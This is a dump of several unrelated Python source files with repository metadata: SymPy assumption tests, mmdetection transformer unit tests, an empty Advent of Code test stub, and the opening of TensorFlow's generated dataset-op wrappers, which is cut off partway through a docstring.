x, y = symbols('x y') assert ask(x, Q.prime, Assume(x, Q.prime)) == True assert ask(x, Q.prime, Assume(x, Q.prime, False)) == False assert ask(x, Q.prime, Assume(x, Q.integer)) == None assert ask(x, Q.prime, Assume(x, Q.integer, False)) == False assert ask(2*x, Q.prime, Assume(x, Q.integer)) == False assert ask(x*y, Q.prime) == None assert ask(x*y, Q.prime, Assume(x, Q.prime)) == None assert ask(x*y, Q.prime, Assume(x, Q.integer) & \ Assume(y, Q.integer)) == False assert ask(x**2, Q.prime, Assume(x, Q.integer)) == False assert ask(x**2, Q.prime, Assume(x, Q.prime)) == False assert ask(x**y, Q.prime, Assume(x, Q.integer) & \ Assume(y, Q.integer)) == False def test_positive(): x, y, z, w = symbols('xyzw') assert ask(x, Q.positive, Assume(x, Q.positive)) == True assert ask(x, Q.positive, Assume(x, Q.negative)) == False assert ask(x, Q.positive, Assume(x, Q.nonzero)) == None assert ask(-x, Q.positive, Assume(x, Q.positive)) == False assert ask(-x, Q.positive, Assume(x, Q.negative)) == True assert ask(x+y, Q.positive, Assume(x, Q.positive) & \ Assume(y, Q.positive)) == True assert ask(x+y, Q.positive, Assume(x, Q.positive) & \ Assume(y, Q.negative)) == None assert ask(2*x, Q.positive, Assume(x, Q.positive)) == True assumptions = Assume(x, Q.positive) & Assume(y, Q.negative) & \ Assume(z, Q.negative) & Assume(w, Q.positive) assert ask(x*y*z, Q.positive) == None assert ask(x*y*z, Q.positive, assumptions) == True assert ask(-x*y*z, Q.positive, assumptions) == False assert ask(x**2, Q.positive, Assume(x, Q.positive)) == True assert ask(x**2, Q.positive, Assume(x, Q.negative)) == True #exponential assert ask(exp(x), Q.positive, Assume(x, Q.real)) == True assert ask(x + exp(x), Q.positive, Assume(x, Q.real)) == None #absolute value assert ask(Abs(x), Q.positive) == None # Abs(0) = 0 assert ask(Abs(x), Q.positive, Assume(x, Q.positive)) == True @XFAIL def test_positive_xfail(): assert ask(1/(1 + x**2), Q.positive, Assume(x, Q.real)) == True def test_real(): x, y = symbols('x y') assert ask(x, Q.real) == None assert ask(x, Q.real, Assume(x, Q.real)) == True assert ask(x, Q.real, Assume(x, Q.nonzero)) == True assert ask(x, Q.real, Assume(x, Q.positive)) == True assert ask(x, Q.real, Assume(x, Q.negative)) == True assert ask(x, Q.real, Assume(x, Q.integer)) == True assert ask(x, Q.real, Assume(x, Q.even)) == True assert ask(x, Q.real, Assume(x, Q.prime)) == True assert ask(x/sqrt(2), Q.real, Assume(x, Q.real)) == True assert ask(x/sqrt(-2), Q.real, Assume(x, Q.real)) == False I = S.ImaginaryUnit assert ask(x+1, Q.real, Assume(x, Q.real)) == True assert ask(x+I, Q.real, Assume(x, Q.real)) == False assert ask(x+I, Q.real, Assume(x, Q.complex)) == None assert ask(2*x, Q.real, Assume(x, Q.real)) == True assert ask(I*x, Q.real, Assume(x, Q.real)) == False assert ask(I*x, Q.real, Assume(x, Q.imaginary)) == True assert ask(I*x, Q.real, Assume(x, Q.complex)) == None assert ask(x**2, Q.real, Assume(x, Q.real)) == True assert ask(sqrt(x), Q.real, Assume(x, Q.negative)) == False assert ask(x**y, Q.real, Assume(x, Q.real) & Assume(y, Q.integer)) == True assert ask(x**y, Q.real, Assume(x, Q.real) & Assume(y, Q.real)) == None assert ask(x**y, Q.real, Assume(x, Q.positive) & \ Assume(y, Q.real)) == True # trigonometric functions assert ask(sin(x), Q.real) == None assert ask(cos(x), Q.real) == None assert ask(sin(x), Q.real, Assume(x, Q.real)) == True assert ask(cos(x), Q.real, Assume(x, Q.real)) == True # exponential function assert ask(exp(x), Q.real) == None assert ask(exp(x), Q.real, Assume(x, Q.real)) == True assert ask(x + exp(x), Q.real, Assume(x, Q.real)) == True # Q.complexes assert ask(re(x), Q.real) == True assert ask(im(x), Q.real) == True def test_algebraic(): x, y = symbols('x,y') assert ask(x, 'algebraic') == None assert ask(I, 'algebraic') == True assert ask(2*I, 'algebraic') == True assert ask(I/3, 'algebraic') == True assert ask(sqrt(7), 'algebraic') == True assert ask(2*sqrt(7), 'algebraic') == True assert ask(sqrt(7)/3, 'algebraic') == True assert ask(I*sqrt(3), 'algebraic') == True assert ask(sqrt(1+I*sqrt(3)), 'algebraic') == True assert ask((1+I*sqrt(3)**(S(17)/31)), 'algebraic') == True assert ask((1+I*sqrt(3)**(S(17)/pi)), 'algebraic') == False assert ask(sin(7), 'algebraic') == None assert ask(sqrt(sin(7)), 'algebraic') == None assert ask(sqrt(y+I*sqrt(7)), 'algebraic') == None assert ask(oo, 'algebraic') == False assert ask(-oo, 'algebraic') == False assert ask(2.47, 'algebraic') == False def test_global(): """Test ask with global assumptions""" x = symbols('x') assert ask(x, Q.integer) == None global_assumptions.add(Assume(x, Q.integer)) assert ask(x, Q.integer) == True global_assumptions.clear() assert ask(x, Q.integer) == None def test_custom_context(): """Test ask with custom assumptions context""" x = symbols('x') assert ask(x, Q.integer) == None local_context = AssumptionsContext() local_context.add(Assume(x, Q.integer)) assert ask(x, Q.integer, context = local_context) == True assert ask(x, Q.integer) == None def test_functions_in_assumptions(): from sympy.logic.boolalg import Equivalent, Xor x = symbols('x') assert ask(x, Q.negative, Q.real(x) >> Q.positive(x)) is False assert ask(x, Q.negative, Equivalent(Q.real(x), Q.positive(x))) is False assert ask(x, Q.negative, Xor(Q.real(x), Q.negative(x))) is False def test_is_true(): from sympy.logic.boolalg import Equivalent, Implies x = symbols('x') assert ask(True, Q.is_true) is True assert ask(~Q.negative(x), Q.is_true, Q.positive(x)) is True assert ask(~Q.real(x), Q.is_true, Q.commutative(x)) is None assert ask(Q.negative(x) & Q.integer(x), Q.is_true, Q.positive(x)) is False assert ask(Q.negative(x) & Q.integer(x), Q.is_true) is None assert ask(Q.real(x) | Q.integer(x), Q.is_true, Q.positive(x)) is True assert ask(Q.real(x) | Q.integer(x), Q.is_true) is None assert ask(Q.real(x) >> Q.positive(x), Q.is_true, Q.negative(x)) is False assert ask(Implies(Q.real(x), Q.positive(x), evaluate=False), Q.is_true, Q.negative(x)) is False assert ask(Implies(Q.real(x), Q.positive(x), evaluate=False), Q.is_true) is None assert ask(Equivalent(Q.integer(x), Q.even(x)), Q.is_true, Q.even(x)) is True assert ask(Equivalent(Q.integer(x), Q.even(x)), Q.is_true) is None assert ask(Equivalent(Q.positive(x), Q.integer(x)), Q.is_true, Q.integer(x)) is None def test_incompatible_resolutors(): x = symbols('x') class Prime2AskHandler(AskHandler): @staticmethod def Number(expr, assumptions): return True register_handler('prime', Prime2AskHandler) raises(ValueError, 'ask(4, Q.prime)') remove_handler('prime', Prime2AskHandler) class InconclusiveHandler(AskHandler): @staticmethod def Number(expr, assumptions): return None register_handler('prime', InconclusiveHandler) assert ask(3, Q.prime) == True def test_key_extensibility(): """test that you can add keys to the ask system at runtime""" x = Symbol('x') # make sure thie key is not defined raises(AttributeError, "ask(x, 'my_key')") class MyAskHandler(AskHandler): @staticmethod def Symbol(expr, assumptions): return True register_handler('my_key', MyAskHandler) assert ask(x, 'my_key') == True assert ask(x+1, 'my_key') == None remove_handler('my_key', MyAskHandler) def test_type_extensibility(): """test that new types can be added to the ask system at runtime We create a custom type MyType, and override ask Q.prime=True with handler MyAskHandler for this type TODO: test incompatible resolutors """ from sympy.core import Basic class MyType(Basic): pass class MyAskHandler(AskHandler): @staticmethod def MyType(expr, assumptions): return True a = MyType() register_handler(Q.prime, MyAskHandler) assert ask(a, Q.prime) == True

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null

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1

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7fe24d4776e3f3bbce4174003ef6309ab600bfa7

20,396

py

Python

tests/test_models/test_utils/test_transformer.py

yypurpose/mmdetection

ec6bfd96eae0af047c623f3d1ec31b0b3f1f4a6c

[ "Apache-2.0" ]

null

tests/test_models/test_utils/test_transformer.py

yypurpose/mmdetection

ec6bfd96eae0af047c623f3d1ec31b0b3f1f4a6c

[ "Apache-2.0" ]

null

tests/test_models/test_utils/test_transformer.py

yypurpose/mmdetection

ec6bfd96eae0af047c623f3d1ec31b0b3f1f4a6c

[ "Apache-2.0" ]

null

from unittest.mock import patch import pytest import torch from mmdet.models.utils import (FFN, MultiheadAttention, Transformer, TransformerDecoder, TransformerDecoderLayer, TransformerEncoder, TransformerEncoderLayer) def _ffn_forward(self, x, residual=None): if residual is None: residual = x residual_str = residual.split('_')[-1] if '(residual' in residual_str: residual_str = residual_str.split('(residual')[0] return x + '_ffn(residual={})'.format(residual_str) def _multihead_attention_forward(self, x, key=None, value=None, residual=None, query_pos=None, key_pos=None, attn_mask=None, key_padding_mask=None, selfattn=True): if residual is None: residual = x residual_str = residual.split('_')[-1] if '(residual' in residual_str: residual_str = residual_str.split('(residual')[0] attn_str = 'selfattn' if selfattn else 'multiheadattn' return x + '_{}(residual={})'.format(attn_str, residual_str) def _encoder_layer_forward(self, x, pos=None, attn_mask=None, key_padding_mask=None): norm_cnt = 0 inp_residual = x for layer in self.order: if layer == 'selfattn': x = self.self_attn( x, x, x, inp_residual if self.pre_norm else None, query_pos=pos, attn_mask=attn_mask, key_padding_mask=key_padding_mask) inp_residual = x elif layer == 'norm': x = x + '_norm{}'.format(norm_cnt) norm_cnt += 1 elif layer == 'ffn': x = self.ffn(x, inp_residual if self.pre_norm else None) else: raise ValueError(f'Unsupported layer type {layer}.') return x def _decoder_layer_forward(self, x, memory, memory_pos=None, query_pos=None, memory_attn_mask=None, target_attn_mask=None, memory_key_padding_mask=None, target_key_padding_mask=None): norm_cnt = 0 inp_residual = x for layer in self.order: if layer == 'selfattn': x = self.self_attn( x, x, x, inp_residual if self.pre_norm else None, query_pos, attn_mask=target_attn_mask, key_padding_mask=target_key_padding_mask) inp_residual = x elif layer == 'norm': x = x + '_norm{}'.format(norm_cnt) norm_cnt += 1 elif layer == 'multiheadattn': x = self.multihead_attn( x, memory, memory, inp_residual if self.pre_norm else None, query_pos, key_pos=memory_pos, attn_mask=memory_attn_mask, key_padding_mask=memory_key_padding_mask, selfattn=False) inp_residual = x elif layer == 'ffn': x = self.ffn(x, inp_residual if self.pre_norm else None) else: raise ValueError(f'Unsupported layer type {layer}.') return x def test_multihead_attention(embed_dims=8, num_heads=2, dropout=0.1, num_query=5, num_key=10, batch_size=1): module = MultiheadAttention(embed_dims, num_heads, dropout) # self attention query = torch.rand(num_query, batch_size, embed_dims) out = module(query) assert out.shape == (num_query, batch_size, embed_dims) # set key key = torch.rand(num_key, batch_size, embed_dims) out = module(query, key) assert out.shape == (num_query, batch_size, embed_dims) # set residual residual = torch.rand(num_query, batch_size, embed_dims) out = module(query, key, key, residual) assert out.shape == (num_query, batch_size, embed_dims) # set query_pos and key_pos query_pos = torch.rand(num_query, batch_size, embed_dims) key_pos = torch.rand(num_key, batch_size, embed_dims) out = module(query, key, None, residual, query_pos, key_pos) assert out.shape == (num_query, batch_size, embed_dims) # set key_padding_mask key_padding_mask = torch.rand(batch_size, num_key) > 0.5 out = module(query, key, None, residual, query_pos, key_pos, None, key_padding_mask) assert out.shape == (num_query, batch_size, embed_dims) # set attn_mask attn_mask = torch.rand(num_query, num_key) > 0.5 out = module(query, key, key, residual, query_pos, key_pos, attn_mask, key_padding_mask) assert out.shape == (num_query, batch_size, embed_dims) def test_ffn(embed_dims=8, feedforward_channels=8, num_fcs=2, batch_size=1): # test invalid num_fcs with pytest.raises(AssertionError): module = FFN(embed_dims, feedforward_channels, 1) module = FFN(embed_dims, feedforward_channels, num_fcs) x = torch.rand(batch_size, embed_dims) out = module(x) assert out.shape == (batch_size, embed_dims) # set residual residual = torch.rand(batch_size, embed_dims) out = module(x, residual) assert out.shape == (batch_size, embed_dims) # test case with no residual module = FFN(embed_dims, feedforward_channels, num_fcs, add_residual=False) x = torch.rand(batch_size, embed_dims) out = module(x) assert out.shape == (batch_size, embed_dims) def test_transformer_encoder_layer(embed_dims=8, num_heads=2, feedforward_channels=8, num_key=10, batch_size=1): x = torch.rand(num_key, batch_size, embed_dims) # test invalid number of order with pytest.raises(AssertionError): order = ('norm', 'selfattn', 'norm', 'ffn', 'norm') module = TransformerEncoderLayer( embed_dims, num_heads, feedforward_channels, order=order) # test invalid value of order with pytest.raises(AssertionError): order = ('norm', 'selfattn', 'norm', 'unknown') module = TransformerEncoderLayer( embed_dims, num_heads, feedforward_channels, order=order) module = TransformerEncoderLayer(embed_dims, num_heads, feedforward_channels) key_padding_mask = torch.rand(batch_size, num_key) > 0.5 out = module(x, key_padding_mask=key_padding_mask) assert not module.pre_norm assert out.shape == (num_key, batch_size, embed_dims) # set pos pos = torch.rand(num_key, batch_size, embed_dims) out = module(x, pos, key_padding_mask=key_padding_mask) assert out.shape == (num_key, batch_size, embed_dims) # set attn_mask attn_mask = torch.rand(num_key, num_key) > 0.5 out = module(x, pos, attn_mask, key_padding_mask) assert out.shape == (num_key, batch_size, embed_dims) # set pre_norm order = ('norm', 'selfattn', 'norm', 'ffn') module = TransformerEncoderLayer( embed_dims, num_heads, feedforward_channels, order=order) assert module.pre_norm out = module(x, pos, attn_mask, key_padding_mask) assert out.shape == (num_key, batch_size, embed_dims) @patch('mmdet.models.utils.TransformerEncoderLayer.forward', _encoder_layer_forward) @patch('mmdet.models.utils.FFN.forward', _ffn_forward) @patch('mmdet.models.utils.MultiheadAttention.forward', _multihead_attention_forward) def test_order(): module = TransformerEncoderLayer(embed_dims, num_heads, feedforward_channels) out = module('input') assert out == 'input_selfattn(residual=input)_norm0_ffn' \ '(residual=norm0)_norm1' # pre_norm order = ('norm', 'selfattn', 'norm', 'ffn') module = TransformerEncoderLayer( embed_dims, num_heads, feedforward_channels, order=order) out = module('input') assert out == 'input_norm0_selfattn(residual=input)_' \ 'norm1_ffn(residual=selfattn)' test_order() def test_transformer_decoder_layer(embed_dims=8, num_heads=2, feedforward_channels=8, num_key=10, num_query=5, batch_size=1): query = torch.rand(num_query, batch_size, embed_dims) # test invalid number of order with pytest.raises(AssertionError): order = ('norm', 'selfattn', 'norm', 'multiheadattn', 'norm', 'ffn', 'norm') module = TransformerDecoderLayer( embed_dims, num_heads, feedforward_channels, order=order) # test invalid value of order with pytest.raises(AssertionError): order = ('norm', 'selfattn', 'unknown', 'multiheadattn', 'norm', 'ffn') module = TransformerDecoderLayer( embed_dims, num_heads, feedforward_channels, order=order) module = TransformerDecoderLayer(embed_dims, num_heads, feedforward_channels) memory = torch.rand(num_key, batch_size, embed_dims) assert not module.pre_norm out = module(query, memory) assert out.shape == (num_query, batch_size, embed_dims) # set query_pos query_pos = torch.rand(num_query, batch_size, embed_dims) out = module(query, memory, memory_pos=None, query_pos=query_pos) assert out.shape == (num_query, batch_size, embed_dims) # set memory_pos memory_pos = torch.rand(num_key, batch_size, embed_dims) out = module(query, memory, memory_pos, query_pos) assert out.shape == (num_query, batch_size, embed_dims) # set memory_key_padding_mask memory_key_padding_mask = torch.rand(batch_size, num_key) > 0.5 out = module( query, memory, memory_pos, query_pos, memory_key_padding_mask=memory_key_padding_mask) assert out.shape == (num_query, batch_size, embed_dims) # set target_key_padding_mask target_key_padding_mask = torch.rand(batch_size, num_query) > 0.5 out = module( query, memory, memory_pos, query_pos, memory_key_padding_mask=memory_key_padding_mask, target_key_padding_mask=target_key_padding_mask) assert out.shape == (num_query, batch_size, embed_dims) # set memory_attn_mask memory_attn_mask = torch.rand(num_query, num_key) out = module( query, memory, memory_pos, query_pos, memory_attn_mask, memory_key_padding_mask=memory_key_padding_mask, target_key_padding_mask=target_key_padding_mask) assert out.shape == (num_query, batch_size, embed_dims) # set target_attn_mask target_attn_mask = torch.rand(num_query, num_query) out = module(query, memory, memory_pos, query_pos, memory_attn_mask, target_attn_mask, memory_key_padding_mask, target_key_padding_mask) assert out.shape == (num_query, batch_size, embed_dims) # pre_norm order = ('norm', 'selfattn', 'norm', 'multiheadattn', 'norm', 'ffn') module = TransformerDecoderLayer( embed_dims, num_heads, feedforward_channels, order=order) assert module.pre_norm out = module( query, memory, memory_pos, query_pos, memory_attn_mask, memory_key_padding_mask=memory_key_padding_mask, target_key_padding_mask=target_key_padding_mask) assert out.shape == (num_query, batch_size, embed_dims) @patch('mmdet.models.utils.TransformerDecoderLayer.forward', _decoder_layer_forward) @patch('mmdet.models.utils.FFN.forward', _ffn_forward) @patch('mmdet.models.utils.MultiheadAttention.forward', _multihead_attention_forward) def test_order(): module = TransformerDecoderLayer(embed_dims, num_heads, feedforward_channels) out = module('input', 'memory') assert out == 'input_selfattn(residual=input)_norm0_multiheadattn' \ '(residual=norm0)_norm1_ffn(residual=norm1)_norm2' # pre_norm order = ('norm', 'selfattn', 'norm', 'multiheadattn', 'norm', 'ffn') module = TransformerDecoderLayer( embed_dims, num_heads, feedforward_channels, order=order) out = module('input', 'memory') assert out == 'input_norm0_selfattn(residual=input)_norm1_' \ 'multiheadattn(residual=selfattn)_norm2_ffn(residual=' \ 'multiheadattn)' test_order() def test_transformer_encoder(num_layers=2, embed_dims=8, num_heads=2, feedforward_channels=8, num_key=10, batch_size=1): module = TransformerEncoder(num_layers, embed_dims, num_heads, feedforward_channels) assert not module.pre_norm assert module.norm is None x = torch.rand(num_key, batch_size, embed_dims) out = module(x) assert out.shape == (num_key, batch_size, embed_dims) # set pos pos = torch.rand(num_key, batch_size, embed_dims) out = module(x, pos) assert out.shape == (num_key, batch_size, embed_dims) # set key_padding_mask key_padding_mask = torch.rand(batch_size, num_key) > 0.5 out = module(x, pos, None, key_padding_mask) assert out.shape == (num_key, batch_size, embed_dims) # set attn_mask attn_mask = torch.rand(num_key, num_key) > 0.5 out = module(x, pos, attn_mask, key_padding_mask) assert out.shape == (num_key, batch_size, embed_dims) # pre_norm order = ('norm', 'selfattn', 'norm', 'ffn') module = TransformerEncoder( num_layers, embed_dims, num_heads, feedforward_channels, order=order) assert module.pre_norm assert module.norm is not None out = module(x, pos, attn_mask, key_padding_mask) assert out.shape == (num_key, batch_size, embed_dims) def test_transformer_decoder(num_layers=2, embed_dims=8, num_heads=2, feedforward_channels=8, num_key=10, num_query=5, batch_size=1): module = TransformerDecoder(num_layers, embed_dims, num_heads, feedforward_channels) query = torch.rand(num_query, batch_size, embed_dims) memory = torch.rand(num_key, batch_size, embed_dims) out = module(query, memory) assert out.shape == (1, num_query, batch_size, embed_dims) # set query_pos query_pos = torch.rand(num_query, batch_size, embed_dims) out = module(query, memory, query_pos=query_pos) assert out.shape == (1, num_query, batch_size, embed_dims) # set memory_pos memory_pos = torch.rand(num_key, batch_size, embed_dims) out = module(query, memory, memory_pos, query_pos) assert out.shape == (1, num_query, batch_size, embed_dims) # set memory_key_padding_mask memory_key_padding_mask = torch.rand(batch_size, num_key) > 0.5 out = module( query, memory, memory_pos, query_pos, memory_key_padding_mask=memory_key_padding_mask) assert out.shape == (1, num_query, batch_size, embed_dims) # set target_key_padding_mask target_key_padding_mask = torch.rand(batch_size, num_query) > 0.5 out = module( query, memory, memory_pos, query_pos, memory_key_padding_mask=memory_key_padding_mask, target_key_padding_mask=target_key_padding_mask) assert out.shape == (1, num_query, batch_size, embed_dims) # set memory_attn_mask memory_attn_mask = torch.rand(num_query, num_key) > 0.5 out = module(query, memory, memory_pos, query_pos, memory_attn_mask, None, memory_key_padding_mask, target_key_padding_mask) assert out.shape == (1, num_query, batch_size, embed_dims) # set target_attn_mask target_attn_mask = torch.rand(num_query, num_query) > 0.5 out = module(query, memory, memory_pos, query_pos, memory_attn_mask, target_attn_mask, memory_key_padding_mask, target_key_padding_mask) assert out.shape == (1, num_query, batch_size, embed_dims) # pre_norm order = ('norm', 'selfattn', 'norm', 'multiheadattn', 'norm', 'ffn') module = TransformerDecoder( num_layers, embed_dims, num_heads, feedforward_channels, order=order) out = module(query, memory, memory_pos, query_pos, memory_attn_mask, target_attn_mask, memory_key_padding_mask, target_key_padding_mask) assert out.shape == (1, num_query, batch_size, embed_dims) # return_intermediate module = TransformerDecoder( num_layers, embed_dims, num_heads, feedforward_channels, order=order, return_intermediate=True) out = module(query, memory, memory_pos, query_pos, memory_attn_mask, target_attn_mask, memory_key_padding_mask, target_key_padding_mask) assert out.shape == (num_layers, num_query, batch_size, embed_dims) def test_transformer(num_enc_layers=2, num_dec_layers=2, embed_dims=8, num_heads=2, num_query=5, batch_size=1): module = Transformer(embed_dims, num_heads, num_enc_layers, num_dec_layers) height, width = 8, 6 x = torch.rand(batch_size, embed_dims, height, width) mask = torch.rand(batch_size, height, width) > 0.5 query_embed = torch.rand(num_query, embed_dims) pos_embed = torch.rand(batch_size, embed_dims, height, width) hs, mem = module(x, mask, query_embed, pos_embed) assert hs.shape == (1, batch_size, num_query, embed_dims) assert mem.shape == (batch_size, embed_dims, height, width) # pre_norm module = Transformer( embed_dims, num_heads, num_enc_layers, num_dec_layers, pre_norm=True) hs, mem = module(x, mask, query_embed, pos_embed) assert hs.shape == (1, batch_size, num_query, embed_dims) assert mem.shape == (batch_size, embed_dims, height, width) # return_intermediate module = Transformer( embed_dims, num_heads, num_enc_layers, num_dec_layers, return_intermediate_dec=True) hs, mem = module(x, mask, query_embed, pos_embed) assert hs.shape == (num_dec_layers, batch_size, num_query, embed_dims) assert mem.shape == (batch_size, embed_dims, height, width) # pre_norm and return_intermediate module = Transformer( embed_dims, num_heads, num_enc_layers, num_dec_layers, pre_norm=True, return_intermediate_dec=True) hs, mem = module(x, mask, query_embed, pos_embed) assert hs.shape == (num_dec_layers, batch_size, num_query, embed_dims) assert mem.shape == (batch_size, embed_dims, height, width) # test init_weights module.init_weights()

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3d2aaa2bb45d5af603b3fe40ff51e7535309af62

129

py

Python

py/tests/test_sample.py

andrewblim/advent-of-code-2020

dbc45b9967770f8015f3609b88873bdefcfdc28a

[ "MIT" ]

null

py/tests/test_sample.py

andrewblim/advent-of-code-2020

dbc45b9967770f8015f3609b88873bdefcfdc28a

[ "MIT" ]

null

py/tests/test_sample.py

andrewblim/advent-of-code-2020

dbc45b9967770f8015f3609b88873bdefcfdc28a

[ "MIT" ]

null

import pytest from .context import advent_of_code_2020 # from advent_of_code_2020.dayDD import * def test_something(): pass

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294,269

py

Python

Lib/site-packages/tensorflow/python/ops/gen_experimental_dataset_ops.py

foodwaze0/webapp

897043cbbfdbad8d6c54f0556f31e4127d518fc1

[ "bzip2-1.0.6" ]

null

Lib/site-packages/tensorflow/python/ops/gen_experimental_dataset_ops.py

foodwaze0/webapp

897043cbbfdbad8d6c54f0556f31e4127d518fc1

[ "bzip2-1.0.6" ]

null

Lib/site-packages/tensorflow/python/ops/gen_experimental_dataset_ops.py

foodwaze0/webapp

897043cbbfdbad8d6c54f0556f31e4127d518fc1

[ "bzip2-1.0.6" ]

null

"""Python wrappers around TensorFlow ops. This file is MACHINE GENERATED! Do not edit. """ import collections as _collections import six as _six from tensorflow.python import pywrap_tensorflow as _pywrap_tensorflow from tensorflow.python.eager import context as _context from tensorflow.python.eager import core as _core from tensorflow.python.eager import execute as _execute from tensorflow.python.framework import dtypes as _dtypes from tensorflow.python.framework import errors as _errors from tensorflow.python.framework import tensor_shape as _tensor_shape from tensorflow.core.framework import op_def_pb2 as _op_def_pb2 # Needed to trigger the call to _set_call_cpp_shape_fn. from tensorflow.python.framework import common_shapes as _common_shapes from tensorflow.python.framework import op_def_registry as _op_def_registry from tensorflow.python.framework import ops as _ops from tensorflow.python.framework import op_def_library as _op_def_library from tensorflow.python.util.deprecation import deprecated_endpoints from tensorflow.python.util import dispatch as _dispatch from tensorflow.python.util.tf_export import tf_export from tensorflow.python.util.tf_export import kwarg_only as _kwarg_only from tensorflow.tools.docs import doc_controls as _doc_controls def choose_fastest_branch_dataset(input_dataset, ratio_numerator, ratio_denominator, other_arguments, num_elements_per_branch, branches, other_arguments_lengths, output_types, output_shapes, name=None): r"""TODO: add doc. Args: input_dataset: A `Tensor` of type `variant`. ratio_numerator: A `Tensor` of type `int64`. ratio_denominator: A `Tensor` of type `int64`. other_arguments: A list of `Tensor` objects. num_elements_per_branch: An `int` that is `>= 1`. branches: A list of functions decorated with @Defun that has length `>= 1`. other_arguments_lengths: A list of `ints` that has length `>= 1`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ChooseFastestBranchDataset", name, _ctx._post_execution_callbacks, input_dataset, ratio_numerator, ratio_denominator, other_arguments, "num_elements_per_branch", num_elements_per_branch, "branches", branches, "other_arguments_lengths", other_arguments_lengths, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return choose_fastest_branch_dataset_eager_fallback( input_dataset, ratio_numerator, ratio_denominator, other_arguments, num_elements_per_branch=num_elements_per_branch, branches=branches, other_arguments_lengths=other_arguments_lengths, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. num_elements_per_branch = _execute.make_int(num_elements_per_branch, "num_elements_per_branch") if not isinstance(branches, (list, tuple)): raise TypeError( "Expected list for 'branches' argument to " "'choose_fastest_branch_dataset' Op, not %r." % branches) if not isinstance(other_arguments_lengths, (list, tuple)): raise TypeError( "Expected list for 'other_arguments_lengths' argument to " "'choose_fastest_branch_dataset' Op, not %r." % other_arguments_lengths) other_arguments_lengths = [_execute.make_int(_i, "other_arguments_lengths") for _i in other_arguments_lengths] if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'choose_fastest_branch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'choose_fastest_branch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ChooseFastestBranchDataset", input_dataset=input_dataset, ratio_numerator=ratio_numerator, ratio_denominator=ratio_denominator, other_arguments=other_arguments, num_elements_per_branch=num_elements_per_branch, branches=branches, other_arguments_lengths=other_arguments_lengths, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("Targuments", _op.get_attr("Targuments"), "num_elements_per_branch", _op.get_attr("num_elements_per_branch"), "branches", _op.get_attr("branches"), "other_arguments_lengths", _op.get_attr("other_arguments_lengths"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ChooseFastestBranchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ChooseFastestBranchDataset(input_dataset, ratio_numerator, ratio_denominator, other_arguments, num_elements_per_branch, branches, other_arguments_lengths, output_types, output_shapes, name=None): return choose_fastest_branch_dataset(input_dataset=input_dataset, ratio_numerator=ratio_numerator, ratio_denominator=ratio_denominator, other_arguments=other_arguments, num_elements_per_branch=num_elements_per_branch, branches=branches, other_arguments_lengths=other_arguments_lengths, output_types=output_types, output_shapes=output_shapes, name=name) ChooseFastestBranchDataset.__doc__ = choose_fastest_branch_dataset.__doc__ ChooseFastestBranchDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ChooseFastestBranchDataset)) tf_export("raw_ops.ChooseFastestBranchDataset")(ChooseFastestBranchDataset) def choose_fastest_branch_dataset_eager_fallback(input_dataset, ratio_numerator, ratio_denominator, other_arguments, num_elements_per_branch, branches, other_arguments_lengths, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function choose_fastest_branch_dataset """ _ctx = ctx if ctx else _context.context() num_elements_per_branch = _execute.make_int(num_elements_per_branch, "num_elements_per_branch") if not isinstance(branches, (list, tuple)): raise TypeError( "Expected list for 'branches' argument to " "'choose_fastest_branch_dataset' Op, not %r." % branches) if not isinstance(other_arguments_lengths, (list, tuple)): raise TypeError( "Expected list for 'other_arguments_lengths' argument to " "'choose_fastest_branch_dataset' Op, not %r." % other_arguments_lengths) other_arguments_lengths = [_execute.make_int(_i, "other_arguments_lengths") for _i in other_arguments_lengths] if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'choose_fastest_branch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'choose_fastest_branch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _attr_Targuments, other_arguments = _execute.convert_to_mixed_eager_tensors(other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) ratio_numerator = _ops.convert_to_tensor(ratio_numerator, _dtypes.int64) ratio_denominator = _ops.convert_to_tensor(ratio_denominator, _dtypes.int64) _inputs_flat = [input_dataset, ratio_numerator, ratio_denominator] + list(other_arguments) _attrs = ("Targuments", _attr_Targuments, "num_elements_per_branch", num_elements_per_branch, "branches", branches, "other_arguments_lengths", other_arguments_lengths, "output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ChooseFastestBranchDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ChooseFastestBranchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_assert_next_dataset(input_dataset, transformations, output_types, output_shapes, name=None): r"""TODO: add doc. Args: input_dataset: A `Tensor` of type `variant`. transformations: A `Tensor` of type `string`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length 